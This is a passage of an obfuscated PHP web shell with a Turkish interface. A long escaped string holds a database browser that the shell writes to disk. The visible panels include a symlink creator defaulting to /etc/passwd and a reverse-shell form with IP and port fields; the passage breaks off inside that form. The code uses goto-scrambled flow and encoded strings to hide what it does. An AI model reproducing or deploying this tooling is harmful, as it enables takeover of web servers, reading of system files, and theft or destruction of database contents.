\175\12\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\175\12\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x65\x63\150\157\40\x22\x3c\57\x74\142\157\144\171\76\x3c\57\164\x61\142\x6c\145\x3e\x22\73\xa\x20\40\40\x20\x20\40\40\40\40\40\x20\40\x65\143\x68\157\x20\x22\74\x2f\x64\x69\x76\76\x22\73\xa\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\145\x63\150\157\40\42\74\x64\151\x76\40\x63\154\141\x73\x73\x3d\134\x22\x74\145\170\x74\55\x73\165\x63\143\x65\x73\x73\x20\x6d\x74\55\61\60\134\x22\76\xe2\234\205\40\x22\x20\x2e\x20\x24\x63\157\165\156\164\40\x2e\x20\x22\x20\x73\141\x74\xc4\261\x72\x20\x67\303\xb6\x73\x74\x65\x72\x69\154\151\x79\x6f\x72\74\57\144\151\166\76\x22\x3b\xa\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\44\x72\145\x73\165\154\164\x2d\76\x63\x6c\x6f\163\x65\50\51\73\xa\x20\x20\x20\x20\40\40\x20\40\x7d\40\x65\x6c\163\145\40\173\xa\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\x65\143\x68\157\40\x22\x3c\x64\151\166\x20\x63\154\x61\x73\163\75\134\x22\164\145\170\164\55\x73\x75\143\143\145\163\x73\x5c\42\76\xe2\x9c\205\40\123\x6f\x72\x67\x75\x20\x62\141\xc5\x9f\x61\x72\304\261\154\304\xb1\x21\40\105\164\x6b\x69\x6c\x65\156\145\x6e\40\163\141\x74\304\261\x72\x3a\x20\x22\40\56\x20\44\143\x6f\156\156\55\76\x61\146\146\x65\x63\164\145\144\x5f\162\x6f\167\163\40\x2e\x20\42\x3c\x2f\144\151\166\76\42\73\xa\x20\40\x20\40\x20\x20\x20\x20\x7d\xa\40\40\40\40\x7d\x20\145\x6c\x73\x65\40\173\12\x20\40\40\40\40\x20\40\x20\145\x63\150\157\x20\x22\x3c\144\x69\x76\40\x63\154\x61\x73\x73\75\134\x22\x74\145\170\164\x2d\144\141\156\147\x65\162\134\42\x3e\342\235\214\40\110\x61\164\x61\72\x20\42\x20\x2e\40\44\143\157\156\156\55\76\x65\x72\x72\157\x72\x20\56\40\42\74\57\x64\151\x76\76\42\73\12\x20\40\x20\40\175\xa\x20\40\x20\40\x65\x63\x68\x6f\40\x22\x3c\57\144\151\166\x3e\x22\x3b\xa\x7d\12\12\x2f\x2f\40\x54\141\142\154\x6f\x6c\141\162\x20\154\151\163\x74\145\163\151\12\145\143\150\157\x20\x22\xa\74\x64\x69\166\x20\143\154\141\163\x73\75\134\x22\143\141\x72\x64\x5c\42\x3e\xa\40\x20\40\40\74\150\63\x3e\x3c\x69\40\x63\x6c\141\163\163\75\x5c\42\146\141\163\x20\x66\141\55\164\x61\142\154\x65\x5c\42\76\x3c\x2f\x69\76\x20\x54\x61\142\x6c\157\154\x61\x72\74\x2f\x68\x33\x3e\xa\40\40\40\x20\x3c\x64\151\x76\40\143\x6c\x61\x73\163\75\134\42\x67\162\x69\144\x2d\164\141\x62\154\x65\163\x5c\x22\x3e\x22\x3b\12\12\x69\146\40\50\143\x6f\x75\156\164\50\x24\x74\x61\x62\x6c\x65\x73\51\x20\76\x20\60\51\x20\x7b\xa\x20\x20\x20\40\x66\x6f\162\x65\141\x63\x68\x20\50\44\x74\141\x62\x6c\145\x73\40\x61\163\x20\x24\164\x61\142\154\145\x29\x20\x7b\xa\40\x20\40\x20\x20\40\x20\x20\x2f\57\40\124\x61\x62\154\x6f\x64\x61\153\151\40\x73\141\x74\304\xb1\162\x20\163\x61\x79\xc4\xb1\x73\304\261\12\40\40\x20\x20\40\40\x20\x20\x24\x63\157\165\156\164\40\75\40\60\73\xa\40\40\x20\x20\40\40\40\x20\151\146\x20\x28\x24\x63\x20\x3d\x20\44\143\157\x6e\x6e\55\76\161\x75\145\162\x79\x28\x22\123\105\114\105\103\124\40\x43\x4f\x55\116\x54\x28\52\51\40\141\163\x20\x63\40\106\122\117\115\x20\x24\x74\x61\x62\x6c\x65\x22\x29\51\x20\173\xa\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x24\162\157\x77\40\x3d\40\x24\x63\55\76\x66\145\164\x63\x68\137\141\x73\x73\157\143\x28\51\x3b\xa\40\40\x20\40\x20\x20\x20\40\x20\40\40\40\x24\143\157\165\156\164\40\75\x20\44\162\157\167\133\42\x63\x22\x5d\x3b\xa\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x24\143\x2d\76\x63\154\157\x73\x65\50\51\73\12\x20\40\40\x20\x20\x20\x20\x20\175\12\x20\x20\40\40\40\40\x20\x20\145\x63\150\157\40\42\74\141\x20\x68\x72\x65\x66\x3d\x5c\42\x3f\x64\142\75\42\x20\x2e\40\165\x72\x6c\145\x6e\143\x6f\x64\x65\50\44\x63\165\x72\x72\x65\x6e\x74\x44\x62\x29\x20\56\x20\x22\x26\164\141\x62\154\145\75\42\x20\x2e\x20\x75\162\154\x65\156\x63\x6f\144\x65\50\x24\x74\141\142\154\145\51\40\x2e\x20\42\x5c\x22\40\x63\x6c\x61\163\163\75\x5c\x22\164\141\142\x6c\145\55\x62\x6f\x78\x5c\42\x3e\12\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x20\40\74\151\x20\143\154\x61\x73\163\x3d\x5c\42\x66\141\163\40\x66\141\x2d\164\x61\x62\154\x65\134\42\x3e\74\x2f\151\76\xa\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x3c\144\x69\x76\x20\143\154\141\x73\x73\x3d\134\42\x74\156\x61\x6d\x65\x5c\42\76\x22\40\x2e\x20\x68\164\155\x6c\x73\160\145\x63\151\141\154\143\x68\141\162\x73\x28\44\x74\x61\142\154\145\51\40\56\40\42\x3c\57\144\x69\x76\76\xa\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x3c\x64\151\166\x20\x63\x6c\141\x73\163\75\134\x22\x74\x63\x6f\165\x6e\x74\134\42\x3e\42\40\x2e\x20\x6e\x75\x6d\x62\145\162\137\x66\157\x72\x6d\x61\x74\50\x24\x63\x6f\165\156\x74\x29\40\x2e\40\42\40\163\x61\164\304\xb1\162\x3c\x2f\144\x69\x76\x3e\12\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x3c\x2f\141\x3e\x22\x3b\12\x20\40\40\x20\175\xa\175\x20\145\154\163\145\x20\x7b\xa\x20\40\x20\40\x65\x63\x68\157\40\x22\x3c\x64\151\x76\x20\143\x6c\x61\163\163\x3d\134\42\x74\x65\x78\x74\x2d\x6d\165\x74\x65\144\x5c\42\40\x73\x74\171\x6c\x65\x3d\x5c\x22\160\141\x64\x64\x69\x6e\147\72\61\60\160\170\x3b\134\x22\76\342\232\240\40\x42\165\x20\x76\145\162\x69\x74\x61\142\x61\x6e\xc4\xb1\156\x64\x61\40\164\x61\142\154\157\40\x79\x6f\x6b\40\x76\x65\171\x61\40\142\x69\x72\x20\x76\145\x72\151\164\x61\142\x61\x6e\xc4\xb1\40\163\x65\xc3\xa7\x69\x6c\x6d\145\144\x69\x2e\74\57\x64\x69\x76\x3e\x22\73\12\175\12\145\x63\x68\157\x20\x22\12\x20\x20\40\x20\x3c\x2f\x64\x69\x76\x3e\xa\x3c\57\144\x69\x76\x3e\x22\73\12\12\57\57\x20\124\x61\142\x6c\157\40\x64\x65\x74\x61\x79\xc4\261\12\x69\146\x20\x28\151\x73\163\x65\x74\50\x24\137\x47\x45\x54\133\42\164\141\x62\154\x65\x22\x5d\x29\x20\x26\x26\40\41\145\155\160\x74\171\50\44\x5f\x47\x45\124\133\x22\164\141\142\154\145\x22\x5d\51\51\40\x7b\12\x20\40\40\40\x24\164\x61\x62\x6c\x65\40\x3d\x20\x24\137\x47\105\x54\x5b\x22\164\x61\142\x6c\x65\42\135\73\xa\40\40\x20\40\145\x63\x68\x6f\40\42\12\x3c\144\151\166\x20\143\x6c\x61\x73\163\x3d\x5c\42\143\x61\162\144\x5c\x22\76\12\x20\x20\40\x20\74\144\x69\166\40\143\154\x61\x73\x73\x3d\x5c\42\146\x6c\x65\x78\55\x62\145\x74\167\x65\145\156\x5c\x22\76\xa\40\x20\40\40\40\x20\40\40\74\150\63\x3e\74\x69\x20\x63\154\x61\x73\x73\75\134\42\146\x61\163\40\146\x61\55\x65\x79\145\x5c\x22\x3e\x3c\x2f\x69\76\40\x54\141\x62\x6c\x6f\x3a\x20\42\40\56\40\x68\164\155\154\163\x70\x65\x63\151\141\154\143\150\141\x72\x73\x28\x24\x74\x61\142\x6c\145\51\x20\x2e\x20\x22\74\57\150\x33\x3e\12\40\40\x20\40\x20\40\x20\40\74\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\x5c\42\146\154\x65\170\x5c\x22\76\12\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\x3c\x61\x20\x68\x72\x65\146\75\x5c\x22\77\144\142\x3d\42\40\x2e\40\x75\x72\x6c\x65\x6e\143\157\x64\x65\50\44\143\x75\x72\x72\x65\x6e\164\104\x62\51\40\56\x20\x22\46\x74\x61\142\154\145\x3d\42\x20\56\40\165\x72\x6c\x65\156\x63\157\x64\145\x28\44\164\x61\x62\154\x65\51\40\56\x20\x22\46\163\164\x72\165\143\164\x75\162\x65\x3d\61\x5c\42\x20\x63\x6c\141\x73\163\75\x5c\x22\142\164\x6e\x20\142\164\x6e\55\163\155\134\42\x3e\xf0\x9f\x93\x8b\x20\x59\141\160\304\261\74\57\141\x3e\xa\40\x20\40\x20\40\x20\40\40\x20\40\40\40\74\x61\40\x68\x72\x65\146\x3d\x5c\x22\77\144\x62\75\x22\x20\x2e\x20\x75\x72\x6c\x65\156\143\157\144\x65\50\44\x63\165\162\x72\x65\156\164\104\142\x29\40\x2e\x20\42\x26\164\141\x62\154\145\75\x22\x20\x2e\x20\165\x72\x6c\x65\156\x63\157\x64\x65\x28\44\164\x61\x62\154\x65\x29\x20\56\40\x22\x26\143\x6f\165\156\x74\75\x31\134\x22\40\x63\x6c\141\163\163\75\134\42\x62\164\x6e\40\142\164\156\x2d\163\x6d\134\42\x3e\xf0\x9f\223\212\40\123\x61\x79\74\57\141\x3e\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x3c\141\x20\150\162\145\146\x3d\134\42\77\x64\142\75\42\40\x2e\40\165\x72\x6c\x65\156\143\157\144\x65\50\44\143\165\x72\162\x65\156\x74\x44\142\x29\x20\56\40\x22\46\x74\141\142\154\x65\x3d\42\x20\x2e\40\x75\162\x6c\145\156\143\x6f\144\x65\50\x24\x74\141\x62\154\145\x29\40\56\40\42\x26\164\162\x75\156\x63\x61\x74\145\x3d\61\x5c\42\x20\x63\x6c\141\163\163\75\134\x22\x62\164\x6e\x20\x62\x74\156\x2d\x64\x61\156\x67\x65\x72\x20\142\164\156\x2d\x73\155\x5c\42\x20\157\156\x63\154\151\x63\153\x3d\x5c\42\162\145\x74\x75\162\x6e\x20\x63\x6f\156\x66\x69\x72\x6d\x28\x27\x54\303\xbc\155\x20\166\x65\162\151\154\145\x72\40\163\x69\154\151\156\145\143\x65\153\x21\40\x45\x6d\151\156\x20\155\x69\163\151\156\77\x27\x29\x3b\134\42\76\xf0\237\227\221\357\270\x8f\x20\x54\162\x75\x6e\143\141\164\145\74\x2f\x61\x3e\12\40\40\40\40\40\x20\40\x20\x3c\x2f\x64\x69\166\76\12\x20\x20\x20\x20\74\57\144\x69\166\x3e\42\73\12\12\x20\x20\x20\40\x2f\x2f\40\131\x61\x70\xc4\xb1\xa\40\x20\x20\40\151\146\40\50\x69\x73\163\x65\x74\x28\x24\x5f\x47\x45\x54\133\x22\163\164\x72\165\x63\164\165\x72\x65\42\135\x29\x29\x20\x7b\xa\40\40\40\40\x20\40\40\x20\145\x63\150\157\40\x22\74\x64\x69\166\40\143\154\x61\163\x73\75\x5c\x22\x74\x61\x62\154\145\x2d\x77\x72\x61\160\x5c\42\76\42\x3b\12\x20\40\40\x20\x20\40\x20\x20\x65\x63\150\157\x20\42\74\x74\141\142\154\145\x20\x63\154\x61\x73\x73\x3d\134\42\x64\141\164\x61\x5c\42\76\42\73\xa\40\x20\40\40\x20\x20\40\40\145\143\150\157\x20\42\x3c\164\x68\x65\141\144\76\74\164\x72\76\74\x74\150\x3e\101\x6c\141\x6e\x3c\x2f\x74\150\x3e\74\164\x68\76\124\xc3\xbc\x72\x3c\57\x74\x68\76\74\x74\150\76\x4e\165\x6c\154\x3c\x2f\164\150\76\74\164\x68\76\x41\156\141\x68\164\141\162\74\57\164\150\x3e\x3c\x74\x68\76\x56\141\x72\163\141\171\304\261\154\141\x6e\x3c\57\x74\x68\x3e\74\x74\x68\76\105\x78\x74\162\141\x3c\57\164\x68\76\74\x2f\164\x72\76\74\57\x74\150\x65\x61\x64\x3e\42\x3b\xa\x20\x20\x20\40\40\40\40\x20\145\x63\150\157\x20\x22\x3c\164\142\157\144\171\76\42\73\12\x20\x20\40\40\40\x20\x20\x20\151\x66\40\50\44\162\x65\163\x75\154\164\x20\75\x20\x24\143\x6f\x6e\156\x2d\76\161\x75\x65\162\171\x28\x22\104\x45\123\x43\x52\x49\x42\x45\40\x24\164\141\x62\154\x65\x22\x29\x29\40\x7b\12\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x77\150\x69\154\x65\40\50\x24\162\157\x77\x20\x3d\40\44\x72\x65\163\x75\154\164\x2d\76\146\x65\x74\x63\150\x5f\x61\x73\x73\157\143\50\51\51\40\x7b\12\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\145\x63\x68\x6f\40\42\74\164\x72\x3e\42\x3b\12\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\145\143\150\x6f\40\x22\74\x74\144\76\74\x73\164\162\x6f\156\x67\x3e\42\x20\x2e\x20\x68\164\155\154\x73\160\x65\143\151\x61\154\143\x68\141\162\x73\x28\x24\162\x6f\x77\x5b\42\x46\x69\x65\x6c\144\42\x5d\x29\40\56\x20\42\x3c\57\x73\x74\162\x6f\x6e\147\x3e\x3c\x2f\164\144\x3e\42\x3b\12\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\40\145\143\x68\x6f\x20\x22\74\164\x64\x3e\42\x20\56\40\150\x74\155\x6c\163\x70\145\x63\x69\141\154\x63\x68\x61\x72\x73\50\44\162\x6f\167\x5b\42\x54\171\x70\145\x22\135\x29\x20\x2e\40\42\x3c\x2f\164\x64\76\42\x3b\xa\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\x65\x63\x68\157\40\42\x3c\x74\x64\x3e\42\40\56\40\x28\44\162\157\x77\x5b\x22\x4e\x75\x6c\154\42\x5d\40\75\x3d\40\42\x59\105\x53\42\40\77\x20\x22\342\x9c\205\42\40\x3a\40\x22\xe2\235\214\42\51\x20\x2e\40\x22\74\57\164\x64\76\x22\x3b\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x65\x63\x68\157\40\x22\x3c\x74\x64\76\x22\40\56\x20\150\x74\x6d\154\163\x70\x65\x63\151\x61\154\143\x68\141\x72\x73\50\44\x72\x6f\167\133\x22\x4b\145\x79\x22\x5d\x29\x20\x2e\x20\x22\74\57\164\x64\76\x22\73\12\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\40\x65\x63\x68\157\40\x22\74\x74\x64\76\x22\x20\x2e\40\x28\151\x73\x5f\x6e\x75\154\x6c\50\44\162\157\x77\133\42\104\145\x66\x61\x75\154\x74\x22\135\51\40\x3f\40\42\x3c\163\160\141\156\x20\143\x6c\x61\163\163\75\134\42\156\x75\154\154\134\42\x3e\116\125\114\x4c\x3c\57\x73\160\141\156\76\x22\40\72\x20\x68\x74\x6d\154\163\x70\145\x63\151\141\x6c\x63\150\x61\x72\163\x28\44\x72\x6f\x77\x5b\42\x44\145\146\x61\x75\154\164\42\135\51\x29\x20\x2e\40\42\74\57\164\144\x3e\42\73\xa\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\145\x63\x68\x6f\x20\x22\x3c\x74\x64\x3e\x22\x20\x2e\40\x68\x74\155\x6c\163\160\145\x63\x69\x61\x6c\143\x68\141\162\x73\x28\x24\162\157\x77\x5b\42\105\170\x74\162\141\x22\135\51\40\x2e\x20\42\74\x2f\164\x64\x3e\x22\73\xa\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\40\145\143\x68\x6f\x20\x22\74\57\x74\x72\x3e\42\x3b\xa\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x7d\12\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\44\162\145\x73\x75\x6c\x74\55\76\x63\x6c\157\163\x65\x28\51\x3b\12\40\x20\40\40\40\x20\x20\40\175\xa\40\x20\40\40\40\x20\40\x20\145\143\x68\157\x20\42\74\57\164\142\x6f\144\171\76\x3c\57\164\x61\142\154\x65\x3e\42\x3b\12\40\40\40\x20\x20\40\40\40\x65\143\150\x6f\x20\x22\74\57\144\151\x76\x3e\x22\73\12\x20\x20\40\40\x7d\12\x20\x20\40\x20\x2f\57\40\x53\x61\164\xc4\xb1\162\40\x73\141\171\304\261\x73\304\xb1\12\40\x20\40\x20\x65\154\163\x65\151\146\40\50\151\163\163\145\x74\50\44\x5f\x47\x45\124\x5b\x22\x63\157\x75\x6e\164\x22\135\x29\x29\40\173\12\40\40\x20\x20\40\40\40\40\151\146\40\x28\44\x72\145\163\x75\154\164\40\75\40\x24\143\x6f\x6e\x6e\55\x3e\161\x75\x65\162\x79\50\x22\x53\105\x4c\x45\103\x54\40\x43\x4f\x55\x4e\x54\x28\52\51\40\141\163\40\164\x6f\164\141\x6c\x20\x46\x52\117\115\40\44\164\x61\142\x6c\x65\42\51\51\40\x7b\12\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x24\162\x6f\x77\40\x3d\x20\x24\162\145\163\x75\x6c\x74\55\x3e\x66\x65\164\x63\x68\137\x61\x73\x73\x6f\143\50\x29\x3b\12\40\40\x20\40\40\40\40\40\40\40\x20\40\x65\143\150\157\40\42\x3c\x64\x69\x76\40\x73\164\x79\x6c\145\x3d\x5c\x22\x70\x61\144\x64\151\x6e\147\72\x31\65\160\x78\x3b\x66\157\x6e\164\55\163\151\x7a\145\x3a\61\70\160\170\x3b\x63\157\154\x6f\162\x3a\43\62\145\x63\143\x37\61\x3b\134\x22\x3e\360\237\223\212\40\x54\157\160\x6c\141\155\40\x6b\141\x79\xc4\xb1\164\72\x20\74\x73\x74\x72\157\156\x67\76\42\x20\x2e\x20\x6e\165\x6d\142\145\x72\x5f\146\x6f\x72\155\141\164\x28\x24\162\x6f\x77\x5b\42\x74\x6f\x74\x61\154\42\x5d\x29\x20\56\40\x22\74\57\163\164\162\x6f\x6e\147\x3e\74\x2f\x64\151\x76\76\42\x3b\12\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x24\x72\145\x73\x75\154\x74\x2d\x3e\143\x6c\x6f\x73\x65\50\x29\x3b\12\x20\x20\40\x20\x20\x20\x20\x20\x7d\12\40\x20\40\40\x7d\12\40\x20\x20\40\57\x2f\40\126\x65\162\151\x6c\x65\x72\12\40\x20\x20\40\x65\x6c\163\x65\x20\173\12\40\40\40\x20\40\x20\x20\40\x2f\57\x20\303\226\156\143\x65\40\163\xc3\274\164\165\x6e\154\141\162\xc4\261\40\x61\x6c\xa\40\40\40\40\40\x20\40\40\x65\143\x68\157\x20\x22\x3c\144\151\x76\x20\143\154\x61\x73\x73\x3d\x5c\42\164\141\x62\154\x65\x2d\x77\162\x61\160\134\42\x3e\x22\x3b\12\40\x20\x20\40\40\40\40\40\145\x63\x68\x6f\40\x22\x3c\x74\x61\x62\154\145\40\143\154\141\163\163\x3d\134\42\x64\x61\x74\x61\134\x22\76\x22\x3b\12\x20\x20\40\x20\x20\x20\40\40\xa\40\x20\x20\x20\40\x20\x20\x20\44\x63\157\154\x75\x6d\x6e\163\40\x3d\40\133\135\73\xa\x20\x20\x20\40\40\x20\x20\40\x69\x66\40\x28\x24\x63\x6f\154\x52\145\163\165\154\164\40\75\x20\44\143\157\156\156\x2d\76\x71\165\x65\x72\x79\x28\x22\x53\x45\x4c\105\x43\124\x20\x2a\x20\x46\122\x4f\x4d\x20\x24\164\x61\142\154\145\40\x4c\111\115\x49\124\x20\60\x22\51\51\x20\173\12\40\40\40\x20\x20\40\40\x20\40\40\40\40\145\143\x68\157\40\42\x3c\x74\x68\x65\x61\144\76\x3c\x74\x72\x3e\x22\73\xa\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\167\x68\151\154\145\x20\x28\x24\146\x69\145\x6c\x64\40\x3d\x20\x24\x63\x6f\x6c\x52\145\163\x75\x6c\x74\55\x3e\146\x65\x74\x63\x68\137\146\x69\145\x6c\144\50\51\51\40\x7b\xa\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\44\x63\x6f\154\x75\155\156\x73\133\x5d\40\75\x20\44\x66\151\x65\154\144\55\76\156\x61\x6d\x65\x3b\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\145\143\150\x6f\x20\42\74\164\150\76\42\x20\x2e\x20\150\x74\x6d\x6c\163\160\x65\143\151\141\154\x63\150\x61\x72\163\x28\44\x66\x69\x65\154\144\x2d\76\156\x61\x6d\145\x29\x20\x2e\40\42\x3c\57\x74\x68\76\42\x3b\xa\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\175\12\40\x20\x20\40\40\40\x20\40\40\40\40\x20\145\x63\150\157\40\42\74\57\164\x72\x3e\x3c\x2f\x74\150\145\141\144\x3e\42\73\xa\40\40\x20\40\x20\40\40\40\40\40\x20\x20\44\x63\157\154\122\x65\163\x75\x6c\164\x2d\76\143\x6c\x6f\163\145\x28\x29\73\12\x20\x20\x20\40\40\40\x20\x20\175\12\x20\x20\40\x20\x20\40\x20\x20\12\40\40\x20\40\x20\40\x20\x20\57\x2f\40\126\x65\x72\x69\x6c\145\x72\12\40\40\40\x20\40\x20\40\40\x65\x63\x68\157\x20\x22\74\x74\142\x6f\144\171\x3e\42\x3b\xa\x20\x20\x20\x20\x20\40\x20\x20\x69\x66\x20\x28\44\144\141\x74\141\122\x65\x73\165\x6c\x74\40\x3d\x20\x24\x63\x6f\156\156\55\76\161\165\145\162\x79\x28\42\123\x45\x4c\105\x43\x54\x20\52\x20\x46\122\x4f\115\x20\x24\164\x61\142\x6c\145\x20\114\x49\115\x49\x54\40\x33\60\42\51\51\x20\x7b\xa\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\167\150\151\x6c\145\x20\x28\44\162\x6f\x77\x20\75\40\44\144\141\164\141\x52\x65\x73\165\x6c\164\55\x3e\146\x65\x74\x63\150\x5f\141\x73\x73\x6f\143\x28\x29\x29\40\x7b\xa\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\x65\x63\150\x6f\x20\x22\x3c\164\x72\76\x22\73\xa\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\40\146\157\x72\145\x61\143\150\40\50\x24\x63\x6f\154\x75\x6d\x6e\163\40\x61\163\40\44\143\x6f\x6c\51\40\173\12\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\x20\x20\40\x24\x76\x61\154\40\x3d\40\151\163\x73\145\164\50\44\x72\x6f\167\x5b\x24\x63\157\x6c\135\51\40\77\x20\x24\x72\x6f\167\133\44\x63\x6f\x6c\135\40\72\x20\x6e\x75\154\154\x3b\12\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\x24\x64\x69\x73\160\154\x61\x79\40\75\40\x69\163\137\156\x75\x6c\154\50\44\166\141\154\51\x20\x3f\40\42\x3c\x73\160\141\156\40\143\154\x61\x73\x73\75\x5c\42\156\x75\x6c\154\x5c\42\x3e\x4e\x55\114\114\74\x2f\x73\160\x61\156\76\42\40\x3a\x20\150\164\x6d\x6c\x73\160\x65\143\151\141\x6c\143\150\141\x72\163\x28\44\x76\141\154\x29\73\xa\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x69\x66\x20\50\163\x74\x72\154\x65\156\x28\44\x64\151\163\160\154\x61\x79\x29\40\x3e\x20\61\x35\x30\51\40\x7b\xa\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\44\144\151\163\160\x6c\x61\171\x20\x3d\40\163\165\142\163\x74\x72\50\44\144\151\x73\x70\x6c\x61\171\54\40\60\54\40\61\65\60\x29\40\56\x20\42\56\x2e\56\x22\x3b\12\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\40\40\x20\40\40\x20\40\x7d\xa\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\x20\40\40\40\40\x65\x63\150\x6f\40\x22\74\x74\144\76\42\x20\56\40\x24\144\151\163\160\x6c\141\x79\40\56\x20\42\74\x2f\x74\144\x3e\42\x3b\12\x20\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\x7d\xa\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x65\143\150\157\x20\x22\x3c\x2f\x74\x72\x3e\42\73\12\40\40\40\x20\40\40\40\40\x20\x20\x20\40\175\xa\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x24\x64\x61\x74\x61\x52\x65\x73\165\x6c\x74\x2d\76\x63\154\x6f\163\x65\50\x29\x3b\xa\40\40\x20\40\40\40\x20\40\x7d\xa\40\x20\40\40\40\x20\40\x20\x65\x63\150\x6f\40\x22\74\57\x74\x62\157\144\x79\76\x3c\x2f\164\141\142\154\x65\x3e\x22\73\12\x20\x20\x20\x20\40\40\40\x20\145\x63\x68\x6f\x20\x22\x3c\x2f\x64\151\166\x3e\x22\x3b\xa\x20\40\x20\x20\x20\40\x20\40\x65\x63\150\157\x20\42\74\144\x69\166\x20\143\x6c\x61\163\x73\75\134\42\164\145\170\x74\x2d\x6d\x75\x74\145\144\x20\155\164\55\x31\x30\134\42\x3e\342\234\205\x20\63\x30\40\x73\141\164\304\xb1\x72\40\x67\303\xb6\163\164\x65\x72\151\154\151\x79\157\162\74\x2f\x64\x69\x76\x3e\x22\73\12\x20\40\x20\x20\175\xa\x20\40\x20\x20\x65\143\150\x6f\40\x22\74\x2f\144\x69\166\76\42\x3b\xa\x7d\xa\12\145\x63\150\x6f\x20\42\xa\x3c\x2f\x64\x69\x76\76\12\x3c\x2f\142\x6f\144\171\x3e\xa\x3c\x2f\x68\164\155\154\x3e\x22\73\xa\xa\44\143\x6f\156\156\55\76\143\154\x6f\163\145\x28\x29\73\xa"; file_put_contents($slowDBPath, $slowDBCode); } ?> <div class="flex" style="margin-top:8px;"> <a href="<?php echo basename($slowDBPath); ?> " target="_blank" class="btn" style="background:#b300ff;color:#0a0010;padding:8px 20px;font-size:13px;"> <i class="fas fa-rocket"></i> SlowDB Aç </a> <a href="<?php echo basename($slowDBPath); ?> ?export=1" target="_blank" class="btn btn-success"> <i class="fas fa-download"></i> Export </a> </div> <div style="margin-top:8px;font-size:9px;color:#5a1a7a;"> 📁 <?php echo $slowDBPath; ?> <span style="margin-left:10px;"> <i class="fas fa-check-circle" style="color:#2ecc71;"></i> Tam çalışıyor </span> <span style="margin-left:10px;">v1.0</span> </div> <div style="margin-top:5px;font-size:8px;color:#5a1a7a;border-top:1px solid #3a0a5a;padding-top:5px;"> <i class="fas fa-info-circle"></i> <strong>Özellikler:</strong> Veritabanı değiştirme | Tablo listeleme | Sütun görüntüleme | Veri okuma | SQL sorgu | Truncate </div> </div> <?php } goto G1trX; nMIwM: echo $action == "\x74\x65\162\155\151\x6e\141\x6c" ? "\141\x63\164\x69\x76\145" : ''; goto et6Z2; Vfz56: if ($action == "\163\171\x6d\x6c\x69\x6e\x6b") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-link"></i> Symlink Oluşturucu</h4> <form method="POST"> <input type="text" name="symlink_target" placeholder="Hedef" value="/etc/passwd"> <input type="text" name="symlink_link" placeholder="Link adı" value="shadow_link"> <button type="submit" name="symlink_action" value="create" class="btn">🔗 Oluştur</button> </form> <?php if (isset($_POST["\x73\171\x6d\154\151\156\153\137\141\143\x74\151\x6f\156"]) && $_POST["\x73\171\155\154\x69\156\x6b\137\141\x63\x74\151\x6f\156"] == "\x63\162\145\141\164\x65") { $target = $_POST["\163\171\155\x6c\x69\x6e\x6b\x5f\164\141\x72\x67\x65\x74"]; $link = $_POST["\x73\171\x6d\154\x69\156\x6b\137\154\151\x6e\x6b"]; if (@symlink($target, $link)) { ?> <div class="output success">✅ Symlink oluşturuldu: <?php echo $link; ?> → <?php echo $target; ?> </div> <?php } else { ?> <div class="output error">❌ Symlink oluşturulamadı!</div> <?php } ?> <?php } ?> </div> <?php } goto mU9tR; NUjbi: if ($action == "\x72\x65\166\x65\x72\163\x65") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-satellite-dish"></i> Reverse Shell</h4> <form method="POST"> <div style="display:grid;grid-template-columns:1fr 1fr;gap:6px;"> <input type="text" name="rev_ip" placeholder="IP Adresi" value="<?php echo $_SERVER["\x53\x45\122\126\x45\122\137\101\x44\104\x52"]; ?> "> <input type="number" name="rev_port" placeholder="Port" value="4444"> </div> <div class="flex"> <button type="submit" name="rev_protocol" value="php" 